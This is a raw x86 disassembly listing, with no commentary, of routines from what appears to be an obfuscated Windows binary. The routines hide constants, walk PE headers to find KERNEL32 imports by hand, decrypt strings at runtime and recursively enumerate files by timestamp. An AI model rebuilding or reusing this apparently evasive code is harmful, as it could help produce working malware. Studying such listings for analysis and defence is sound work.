mov ecx, dword_551234
lea edx, [edx+ecx+37h]
mov eax, edi
add eax, edx
jge short loc_43D3FC
add eax, 3Fh
loc_43D3FC: ; CODE XREF: sub_43D3AD+4Aj
sar eax, 6
movsx edi, word_551190
mov ecx, dword_5511F8
lea edi, [edi+ecx+35h]
mov edx, eax
imul edx, edi
push edx
push [ebp+var_14]
call ds:dword_448038
push [ebp+arg_4]
push esi
push [ebp+var_14]
call ds:dword_4CD814
lea eax, [ebp+var_10]
push eax
call sub_441A9F
add esp, 10h
mov esi, [ebp+var_14]
movsx eax, word_551104
movsx edx, word_551198
mov ebx, eax
add ebx, edx
dec ebx
jmp short loc_43D46F
; ---------------------------------------------------------------------------
loc_43D450: ; CODE XREF: sub_43D3AD+DCj
push esi
lea eax, [ebp+var_10]
push eax
call sub_441052
add esp, 8
mov eax, dword_551100
add eax, 2Fh
add eax, dword_551120
lea esi, [esi+eax]
inc ebx
loc_43D46F: ; CODE XREF: sub_43D3AD+A1j
mov edi, [ebp+arg_4]
mov edx, dword_5511F4
add edx, 37h
mov eax, edi
add eax, edx
jge short loc_43D484
add eax, 3Fh
loc_43D484: ; CODE XREF: sub_43D3AD+D2j
sar eax, 6
cmp ebx, eax
jl short loc_43D450
push 8000h
mov eax, dword_551124
sub eax, 2
push eax
push [ebp+var_14]
call ds:dword_4CD810
lea eax, [ebp+var_54]
push eax
push [ebp+arg_8]
call sub_443ADA
mov eax, dword_551178
add eax, 7
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
call ds:dword_50E940
add esp, 14h
mov edi, dword_5510E4
sub edi, 5
cmp eax, edi
jz short loc_43D4DA
xor eax, eax
inc eax
jmp short loc_43D4DC
; ---------------------------------------------------------------------------
loc_43D4DA: ; CODE XREF: sub_43D3AD+126j
xor eax, eax
loc_43D4DC: ; CODE XREF: sub_43D3AD+12Bj
pop edi
pop esi
pop ebx
leave
retn
sub_43D3AD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D4E1 proc near ; DATA XREF: .data:005512D0o
push ebp
mov ebp, esp
mov eax, dword_5511D0
sub eax, 7
cmp ds:dword_54FF3C, eax
jbe short loc_43D4FF
push offset dword_54FF3C
call ds:dword_448014
loc_43D4FF: ; CODE XREF: sub_43D4E1+11j
mov eax, ds:dword_54FF3C
pop ebp
retn 4
sub_43D4E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D508 proc near ; DATA XREF: .data:005512F4o
push ebp
mov ebp, esp
mov eax, dword_551230
add eax, dword_551124
sub eax, 3
cmp ds:dword_44B5B8, eax
jbe short loc_43D52C
push offset dword_44B5B8
call ds:dword_448014
loc_43D52C: ; CODE XREF: sub_43D508+17j
mov eax, ds:dword_44B5B8
pop ebp
retn 4
sub_43D508 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D535 proc near ; DATA XREF: sub_443843+53o
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp+var_210]
push eax
push offset dword_44B0A0
call sub_4457E1
add esp, 8
mov [ebp+var_208], eax
movsx eax, word_551194
movsx edx, word_551198
add eax, edx
sub eax, 2
cmp [ebp+var_208], eax
jnz short loc_43D57D
xor eax, eax
jmp loc_43D70E
; ---------------------------------------------------------------------------
loc_43D57D: ; CODE XREF: sub_43D535+3Fj
mov eax, dword_551214
add eax, dword_5510EC
mov [ebp+var_204], eax
loc_43D58E: ; CODE XREF: sub_43D535+1C5j
mov eax, [ebp+var_204]
mov edx, [ebp+var_208]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_43D5A0: ; CODE XREF: sub_43D535+70j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D5A0
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0FFh
jnb short loc_43D5E3
mov eax, [ebp+var_204]
mov edx, dword_551224
add edx, dword_5511F8
sub edx, 3
add eax, edx
add eax, [ebp+var_208]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_4475D4
loc_43D5E3: ; CODE XREF: sub_43D535+82j
movsx esi, word_5510A8
jmp short loc_43D611
; ---------------------------------------------------------------------------
loc_43D5EC: ; CODE XREF: sub_43D535+EEj
cmp [ebp+esi+var_FF], 29h
jnz short loc_43D5FE
mov [ebp+esi+var_FF], 3Dh
loc_43D5FE: ; CODE XREF: sub_43D535+BFj
cmp [ebp+esi+var_FF], 28h
jnz short loc_43D610
mov [ebp+esi+var_FF], 2Bh
loc_43D610: ; CODE XREF: sub_43D535+D1j
inc esi
loc_43D611: ; CODE XREF: sub_43D535+B5j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_43D61A: ; CODE XREF: sub_43D535+EAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D61A
cmp esi, eax
jb short loc_43D5EC
push 0FFh
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_446AA8
add esp, 0Ch
mov ebx, eax
movsx edi, word_551094
sub edi, 2
jmp short loc_43D67C
; ---------------------------------------------------------------------------
loc_43D64E: ; CODE XREF: sub_43D535+149j
movsx eax, [ebp+edi+var_1FE]
mov [ebp+var_218], eax
mov eax, edi
mul edi
mov [ebp+var_21C], eax
mov eax, [ebp+var_218]
mov edx, [ebp+var_21C]
sub eax, edx
mov [ebp+edi+var_1FE], al
inc edi
loc_43D67C: ; CODE XREF: sub_43D535+117j
cmp edi, ebx
jb short loc_43D64E
mov eax, dword_55123C
add eax, dword_5511EC
sub eax, 2
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1FE]
push eax
call sub_43FE22
add esp, 0Ch
mov [ebp+var_214], eax
mov eax, dword_551180
add eax, 0FFFBh
add eax, dword_55120C
cmp [ebp+var_214], eax
jz short loc_43D6D0
push [ebp+var_208]
call ds:dword_44B5CC
xor eax, eax
inc eax
jmp short loc_43D70E
; ---------------------------------------------------------------------------
loc_43D6D0: ; CODE XREF: sub_43D535+188j
mov eax, [ebp+var_20C]
add [ebp+var_204], eax
mov eax, dword_55118C
inc eax
add eax, dword_551158
add [ebp+var_204], eax
mov eax, [ebp+var_210]
cmp [ebp+var_204], eax
jb loc_43D58E
push [ebp+var_208]
call ds:dword_44B5CC
xor eax, eax
loc_43D70E: ; CODE XREF: sub_43D535+43j
; sub_43D535+199j
pop edi
pop esi
pop ebx
leave
retn
sub_43D535 endp
; =============== S U B R O U T I N E =======================================
sub_43D713 proc near ; DATA XREF: .data:005512D4o
mov eax, 80004001h
retn 8
sub_43D713 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D71B proc near ; CODE XREF: sub_43D0C6+10Dp
var_40 = word ptr -40h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
movsx eax, word_551148
mov edi, eax
add edi, dword_5511C0
sub edi, 2
jmp short loc_43D749
; ---------------------------------------------------------------------------
loc_43D73B: ; CODE XREF: sub_43D71B+3Ej
mov ebx, edi
shl ebx, 1
mov dx, [esi+edi*2]
mov [ebp+ebx+var_40], dx
inc edi
loc_43D749: ; CODE XREF: sub_43D71B+1Ej
mov eax, dword_551140
add eax, 1Fh
add eax, dword_5511DC
cmp edi, eax
jb short loc_43D73B
lea eax, [ebp+var_40]
push eax
push esi
call sub_445AFA
add esp, 8
pop edi
pop esi
pop ebx
leave
retn
sub_43D71B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D76D proc near ; CODE XREF: start+1p
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_127 = byte ptr -127h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 138h
push ebx
push esi
push edi
lea edx, sub_446ED7
mov ecx, dword_55117C
add ecx, 9
mov eax, edx
shr eax, cl
mov edx, dword_551230
add edx, 7
add edx, dword_5511D4
mov ecx, edx
mov ebx, eax
shl ebx, cl
lea eax, sub_446ED7
mov [ebp+var_14], eax
loc_43D7AA: ; CODE XREF: sub_43D76D+5Fj
; sub_43D76D+90j ...
mov [ebp+var_18], ebx
mov eax, ebx
cmp word ptr [eax], 5A4Dh
jz short loc_43D7CE
movsx eax, word_551148
mov edx, dword_5510E0
lea eax, [eax+edx+0FFF9h]
sub ebx, eax
jmp short loc_43D7AA
; ---------------------------------------------------------------------------
loc_43D7CE: ; CODE XREF: sub_43D76D+47j
mov eax, dword_5511E0
add eax, 38h
mov esi, ebx
add esi, eax
mov eax, ebx
add eax, [esi]
mov [ebp+var_10], eax
mov ecx, [ebp+var_14]
cmp eax, ecx
jbe short loc_43D7FF
mov eax, dword_551120
add eax, 0FFF2h
movsx edx, word_5510D0
add eax, edx
sub ebx, eax
jmp short loc_43D7AA
; ---------------------------------------------------------------------------
loc_43D7FF: ; CODE XREF: sub_43D76D+79j
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
movzx eax, word ptr [eax]
cmp eax, 4550h
jz short loc_43D81F
movsx eax, word_5510F8
add eax, 0FFFBh
sub ebx, eax
jmp short loc_43D7AA
; ---------------------------------------------------------------------------
loc_43D81F: ; CODE XREF: sub_43D76D+A0j
mov eax, [ebp+var_8]
mov eax, [eax+80h]
mov [ebp+var_C], eax
mov eax, dword_5511B4
sub eax, 4
mov [ebp+var_4], eax
jmp loc_43D9B7
; ---------------------------------------------------------------------------
loc_43D83B: ; CODE XREF: sub_43D76D+256j
mov eax, ebx
add eax, [ebp+var_C]
add eax, [ebp+var_4]
mov [ebp+var_12C], eax
mov edx, dword_5510D4
sub edx, 5
cmp [eax], edx
jz loc_43D9C9
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+0Ch]
mov [ebp+var_130], edx
push edx
lea eax, [ebp+var_127]
push eax
call sub_4475D4
mov eax, dword_5511B0
add eax, dword_551178
sub eax, 10h
mov [ebp+var_28], eax
jmp short loc_43D8AD
; ---------------------------------------------------------------------------
loc_43D88B: ; CODE XREF: sub_43D76D+156j
mov eax, [ebp+var_28]
mov al, [ebp+eax+var_127]
cmp al, 61h
jle short loc_43D8AA
cmp al, 7Ah
jge short loc_43D8AA
mov eax, [ebp+var_28]
lea eax, [ebp+eax+var_127]
sub byte ptr [eax], 20h
loc_43D8AA: ; CODE XREF: sub_43D76D+12Aj
; sub_43D76D+12Ej
inc [ebp+var_28]
loc_43D8AD: ; CODE XREF: sub_43D76D+11Cj
mov eax, [ebp+var_28]
movsx eax, [ebp+eax+var_127]
mov edx, dword_5511B8
sub edx, 4
cmp eax, edx
jnz short loc_43D88B
mov eax, dword_551160
cmp byte ptr [ebp+eax+var_12C+3], 4Ch
jnz loc_43D9B3
mov edx, dword_551098
cmp byte ptr [ebp+edx+var_12C+2], 33h
jnz loc_43D9B3
cmp byte ptr [ebp+eax+var_130+2], 4Bh
jnz loc_43D9B3
mov eax, dword_55112C
add eax, dword_5511FC
cmp byte ptr [ebp+eax+var_130+2], 45h
jnz loc_43D9B3
movsx eax, word_551144
cmp byte ptr [ebp+eax+var_12C+3], 52h
jnz loc_43D9B3
mov eax, dword_55117C
add eax, dword_551150
cmp byte ptr [ebp+eax+var_12C+1], 32h
jnz short loc_43D9B3
mov eax, [ebp+var_12C]
mov edx, ebx
add edx, [eax+10h]
mov [ebp+var_138], edx
mov eax, dword_551150
add eax, dword_55123C
sub eax, 4
mov [ebp+var_134], eax
loc_43D962: ; CODE XREF: sub_43D76D+242j
mov eax, [ebp+var_138]
mov esi, eax
add esi, [ebp+var_134]
mov edi, [esi]
mov eax, dword_55120C
add eax, dword_5511D4
sub eax, 0Ch
cmp edi, eax
jz short loc_43D9C9
push edi
call sub_43FFC1
pop ecx
mov eax, dword_551150
sub eax, 4
cmp dword_551254, eax
jnz short loc_43D9C9
mov eax, dword_551124
add eax, dword_55116C
sub eax, 3
add [ebp+var_134], eax
jmp short loc_43D962
; ---------------------------------------------------------------------------
jmp short loc_43D9C9
; ---------------------------------------------------------------------------
loc_43D9B3: ; CODE XREF: sub_43D76D+165j
; sub_43D76D+179j ...
add [ebp+var_4], 14h
loc_43D9B7: ; CODE XREF: sub_43D76D+C9j
mov eax, [ebp+var_8]
mov eax, [eax+84h]
cmp [ebp+var_4], eax
jb loc_43D83B
loc_43D9C9: ; CODE XREF: sub_43D76D+E7j
; sub_43D76D+215j ...
mov eax, dword_5511D0
add eax, dword_551248
sub eax, 0Bh
cmp dword_551254, eax
jz short loc_43DA41
call sub_43E7A3
call sub_43E397
call sub_43DC76
mov edx, eax
mov [ebp+var_19], dl
movzx eax, [ebp+var_19]
mov edx, dword_5510D4
sub edx, 3
cmp eax, edx
jz short loc_43DA41
lea eax, [ebp+var_20]
push eax
mov eax, dword_5511B4
sub eax, 4
push eax
lea eax, [ebp+var_24]
push eax
push offset sub_446ED7
mov eax, dword_55118C
add eax, dword_5510D4
sub eax, 6
push eax
mov eax, dword_551228
movsx edx, word_5510F8
add eax, edx
sub eax, 0Dh
push eax
call ds:dword_54FF20
loc_43DA41: ; CODE XREF: sub_43D76D+270j
; sub_43D76D+295j
pop edi
pop esi
pop ebx
leave
retn
sub_43D76D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DA46 proc near ; CODE XREF: sub_441052+ABp
; sub_441052+FDp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, esi
and eax, [ebp+arg_8]
mov edx, esi
not edx
and edx, [ebp+arg_C]
or eax, edx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43F3EA
add esp, 8
mov edi, eax
add edi, esi
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_43DA46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DA83 proc near ; DATA XREF: sub_4467F2+2Do
var_1FFF = byte ptr -1FFFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 2000h
call sub_4475B4
push esi
push edi
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push [ebp+arg_0]
call ds:dword_54FF38
push offset byte_5527D9
call sub_43CAF7
mov edi, dword_5511F8
sub edi, 2
push edi
push eax
lea edi, [ebp+var_1FFF]
push edi
call sub_43FE22
add esp, 10h
mov esi, dword_5511F8
add esi, 0FFFCh
cmp eax, esi
jz short loc_43DAE4
push [ebp+arg_0]
call sub_4447CD
pop ecx
loc_43DAE4: ; CODE XREF: sub_43DA83+56j
xor eax, eax
inc eax
pop edi
pop esi
leave
retn 8
sub_43DA83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DAED proc near ; CODE XREF: sub_441052+212p
; sub_441052+274p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_C]
mov eax, ebx
and eax, esi
mov edx, [ebp+arg_8]
mov ecx, esi
not ecx
and edx, ecx
or eax, edx
mov edx, edi
add edx, eax
mov eax, edx
add eax, [ebp+arg_10]
mov edi, eax
add edi, [ebp+arg_18]
push [ebp+arg_14]
push edi
call sub_43F3EA
add esp, 8
mov edi, eax
add edi, ebx
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43DAED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DB30 proc near ; CODE XREF: sub_446250+133p
; DATA XREF: sub_443843+69o
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov eax, dword_55110C
mov edx, eax
add edx, dword_55119C
sub edx, 6
push edx
add eax, dword_55114C
sub eax, 4
push eax
push 3
movsx eax, word_551240
add eax, dword_5511A0
sub eax, 10h
push eax
mov eax, dword_5510C0
sub eax, 2
push eax
push 80000000h
push offset dword_4CC230
call ds:dword_54FB18
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_43DB90
mov eax, 2Ah
jmp short loc_43DBFA
; ---------------------------------------------------------------------------
loc_43DB90: ; CODE XREF: sub_43DB30+57j
mov eax, dword_551228
movsx edx, word_5510C4
add eax, edx
sub eax, 0Eh
push eax
lea eax, [ebp+var_104]
push eax
push 0FFh
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_448034
mov esi, eax
push edi
call ds:dword_4CD948
movzx eax, [ebp+var_FF]
mov edx, dword_5511D0
add edx, 1Ah
cmp eax, edx
jge short loc_43DBE0
mov eax, 2Ah
jmp short loc_43DBFA
; ---------------------------------------------------------------------------
loc_43DBE0: ; CODE XREF: sub_43DB30+A7j
mov eax, dword_55119C
sub eax, 4
cmp esi, eax
jnz short loc_43DBF3
mov eax, 2Ah
jmp short loc_43DBFA
; ---------------------------------------------------------------------------
loc_43DBF3: ; CODE XREF: sub_43DB30+BAj
movzx eax, [ebp+var_FF]
loc_43DBFA: ; CODE XREF: sub_43DB30+5Ej
; sub_43DB30+AEj ...
pop edi
pop esi
leave
retn
sub_43DB30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DBFE proc near ; CODE XREF: sub_440364+B8p
; sub_440364+273p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov esi, [ebp+arg_4]
push ebx
call ds:dword_448000
mov edi, eax
mov eax, dword_551188
add eax, dword_5511E4
sub eax, 9
push eax
mov eax, dword_5510B8
add eax, dword_551224
sub eax, 5
push eax
mov eax, dword_551160
add eax, 1FF7h
movsx edx, word_551148
add eax, edx
push eax
push esi
push edi
push ebx
movsx eax, word_5510C4
sub eax, 6
push eax
push 0
call ds:dword_448010
mov eax, dword_551114
movsx edx, word_551198
add eax, edx
sub eax, 2
mov [esi+edi], al
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_43DBFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DC76 proc near ; CODE XREF: sub_43D76D+27Cp
; sub_446ED7:loc_446F1Cp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 108h
push esi
push edi
mov edi, dword_551188
inc edi
movsx eax, word_5510A8
add edi, eax
jmp short loc_43DD04
; ---------------------------------------------------------------------------
loc_43DC93: ; CODE XREF: sub_43DC76+A1j
push offset byte_5527CD
call sub_43CAF7
mov [ebp+var_108], eax
push offset byte_5527C3
call sub_43CAF7
push edi
push eax
mov esi, [ebp+var_108]
push esi
lea esi, [ebp+var_FF]
push esi
call ds:dword_50E928
add esp, 18h
lea eax, [ebp+var_FF]
push eax
push 0
push 100000h
call ds:dword_4CD938
mov [ebp+var_104], eax
or eax, eax
jz short loc_43DD03
push eax
call ds:dword_4CD948
movsx eax, word_551128
inc eax
cmp edi, eax
jnz short loc_43DCFC
xor eax, eax
inc eax
jmp short loc_43DD1F
; ---------------------------------------------------------------------------
loc_43DCFC: ; CODE XREF: sub_43DC76+7Fj
mov eax, 2
jmp short loc_43DD1F
; ---------------------------------------------------------------------------
loc_43DD03: ; CODE XREF: sub_43DC76+6Cj
inc edi
loc_43DD04: ; CODE XREF: sub_43DC76+1Bj
mov eax, dword_551110
add eax, 5Bh
movsx edx, word_551104
add eax, edx
cmp edi, eax
jb loc_43DC93
xor eax, eax
loc_43DD1F: ; CODE XREF: sub_43DC76+84j
; sub_43DC76+8Bj
pop edi
pop esi
leave
retn
sub_43DC76 endp
; =============== S U B R O U T I N E =======================================
sub_43DD23 proc near ; CODE XREF: sub_446ED7+Cp
push edi
push offset asc_5527B4 ; "\v"
call sub_43CAF7
pop ecx
push eax
call ds:dword_44B598
mov dword_55127C, eax
mov eax, dword_5510EC
movsx edx, word_551164
add eax, edx
sub eax, 2
cmp dword_55127C, eax
jnz short loc_43DD6B
push offset byte_5527A5
call sub_43CAF7
pop ecx
push eax
call ds:dword_48C218
mov dword_55127C, eax
loc_43DD6B: ; CODE XREF: sub_43DD23+2Fj
push offset byte_55278D
call sub_43CAF7
pop ecx
push eax
push dword_55127C
call ds:dword_44B1AC
mov ds:dword_449FC4, eax
pop edi
retn
sub_43DD23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DD8A proc near ; CODE XREF: sub_446250+572p
; DATA XREF: sub_443843+ECo
var_10A = byte ptr -10Ah
var_104 = byte ptr -104h
var_FF = byte ptr -0FFh
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 104h
push edi
mov eax, dword_5510A4
add eax, dword_5511B4
mov dl, [ebp+arg_0]
mov [ebp+eax+var_10A], dl
mov eax, dword_5511E0
sub eax, 4
push eax
push 80h
push 4
mov eax, dword_551178
sub eax, 9
push eax
mov eax, dword_55124C
movsx edx, word_551208
add eax, edx
sub eax, 0Ah
push eax
push 40000000h
push offset dword_4CC230
call ds:dword_54FB18
mov edi, eax
movsx eax, word_5511C4
add eax, dword_551170
sub eax, 0Ch
push eax
lea eax, [ebp+var_104]
push eax
mov eax, dword_551178
sub eax, 8
push eax
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_54FF1C
push edi
call ds:dword_4CD948
pop edi
leave
retn
sub_43DD8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_43DE1F proc near ; DATA XREF: sub_445B7F+1AAo
var_A = byte ptr -0Ah
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov edi, [ebp+arg_0]
push offset sub_443207
push dword ptr fs:0
mov fs:0, esp
push offset byte_552785
call sub_43CAF7
push dword ptr [edi]
push eax
lea esi, [ebp+var_A]
push esi
call ds:dword_50E928
add esp, 10h
loc_43DE55: ; CODE XREF: sub_43DE1F+5Dj
push 0
push dword ptr [edi]
lea eax, [ebp+var_A]
push eax
call sub_44077A
movsx eax, word_551190
add eax, dword_5510B8
sub eax, 0Ch
push eax
call ds:dword_50E924
add esp, 10h
jmp short loc_43DE55
sub_43DE1F endp
; ---------------------------------------------------------------------------
pop edi
pop esi
leave
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DE84 proc near ; CODE XREF: sub_43DE84+20Ep
; sub_43DE84+27Cp ...
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
xor ebx, ebx
inc ebx
push offset byte_55277D
call sub_43CAF7
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
add esp, 10h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC228
mov [ebp+var_248], eax
movsx eax, word_551194
neg eax
cmp [ebp+var_248], eax
jnz loc_43E046
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_54FB10
mov [ebp+var_260], eax
movsx eax, word_551094
movsx edx, word_5510D0
add eax, edx
sub eax, 8
cmp [ebp+var_260], eax
jle short loc_43DF1C
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43DF27
; ---------------------------------------------------------------------------
loc_43DF1C: ; CODE XREF: sub_43DE84+89j
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43DF27: ; CODE XREF: sub_43DE84+96j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_54EA78
mov eax, dword_551158
movzx edx, [ebp+var_24E]
movzx ecx, [ebp+var_250]
mov esi, dword_55120C
lea esi, [eax+esi+35h]
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_252]
mov esi, dword_5511F8
add esi, 15h
imul ecx, esi
mov esi, dword_55115C
add esi, 38h
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_256]
mov esi, dword_551098
add esi, 15h
imul ecx, esi
movsx esi, word_5511C4
mov edi, dword_5511B0
lea esi, [esi+edi+9]
imul ecx, esi
mov esi, dword_55114C
add esi, 35h
movsx edi, word_551128
add esi, edi
imul ecx, esi
add edx, ecx
movzx ecx, [ebp+var_258]
mov esi, dword_5510E0
movsx edi, word_55109C
add esi, edi
imul ecx, esi
movsx esi, word_5510B4
add esi, 19h
imul ecx, esi
mov esi, dword_5510B8
add esi, 11h
add esi, eax
mov eax, ecx
imul eax, esi
movsx ecx, word_5511E8
mov esi, dword_55117C
lea ecx, [ecx+esi+2Eh]
imul eax, ecx
add edx, eax
mov [ebp+var_25C], edx
mov eax, edx
mov edx, ds:dword_448030
cmp eax, edx
ja loc_43E10F
sub edx, eax
mov eax, dword_5510B8
add eax, 10DCh
cmp edx, eax
jbe loc_43E10F
push [ebp+arg_0]
call ds:dword_44800C
mov [ebp+var_26C], eax
jmp loc_43E10F
; ---------------------------------------------------------------------------
loc_43E046: ; CODE XREF: sub_43DE84+56j
cmp [ebp+var_112], 2Eh
jz loc_43E10B
push offset dword_552774
call sub_43CAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DE84
add esp, 158h
jmp short loc_43E10B
; ---------------------------------------------------------------------------
loc_43E09F: ; CODE XREF: sub_43DE84+289j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_449FC8
mov ebx, eax
or ebx, ebx
jz short loc_43E10F
cmp [ebp+var_112], 2Eh
jz short loc_43E10B
push offset byte_55276B
call sub_43CAF7
lea edi, [ebp+var_112]
push edi
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_50E928
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DE84
add esp, 158h
loc_43E10B: ; CODE XREF: sub_43DE84+1C9j
; sub_43DE84+219j ...
or ebx, ebx
jnz short loc_43E09F
loc_43E10F: ; CODE XREF: sub_43DE84+194j
; sub_43DE84+1A8j ...
pop edi
pop esi
pop ebx
leave
retn
sub_43DE84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E114 proc near ; CODE XREF: sub_43EDC6:loc_43EDC9p
var_252 = byte ptr -252h
var_236 = dword ptr -236h
var_114 = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push esi
push edi
lea eax, [ebp+var_114]
push eax
mov eax, dword_5510C0
add eax, dword_55118C
sub eax, 3
push eax
mov eax, dword_5511E4
sub eax, 4
push eax
push 20h
mov eax, dword_55114C
movsx edx, word_5510D0
add eax, edx
sub eax, 8
push eax
call ds:dword_48BA00
lea eax, [ebp+var_10]
push eax
call ds:dword_4CC430
mov eax, dword_551214
movzx edx, [ebp+var_6]
movzx ecx, [ebp+var_8]
mov ebx, dword_55117C
add ebx, 35h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_A]
movsx ebx, word_551144
add ebx, 14h
imul ecx, ebx
mov ebx, dword_551124
add ebx, 37h
movsx esi, word_551138
add ebx, esi
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_E]
mov ebx, dword_551178
add ebx, 15h
imul ecx, ebx
mov ebx, dword_5511F4
add ebx, 0Fh
imul ecx, ebx
mov ebx, dword_551214
add ebx, 39h
imul ecx, ebx
add edx, ecx
movzx ecx, [ebp+var_10]
mov ebx, dword_55121C
add ebx, 5
add ebx, dword_5510A0
imul ecx, ebx
mov ebx, dword_551184
lea eax, [eax+ebx+17h]
imul ecx, eax
movsx eax, word_551210
movsx ebx, word_5510F4
lea eax, [eax+ebx+11h]
imul ecx, eax
mov eax, dword_5510E0
add eax, 35h
movsx ebx, word_551194
add eax, ebx
imul ecx, eax
mov eax, edx
add eax, ecx
mov ds:dword_448030, eax
mov eax, dword_551134
add eax, dword_5511A0
sub eax, 9
mov [ebp+var_236], eax
lea esi, [ebp+var_252]
sub esp, 140h
mov edi, esp
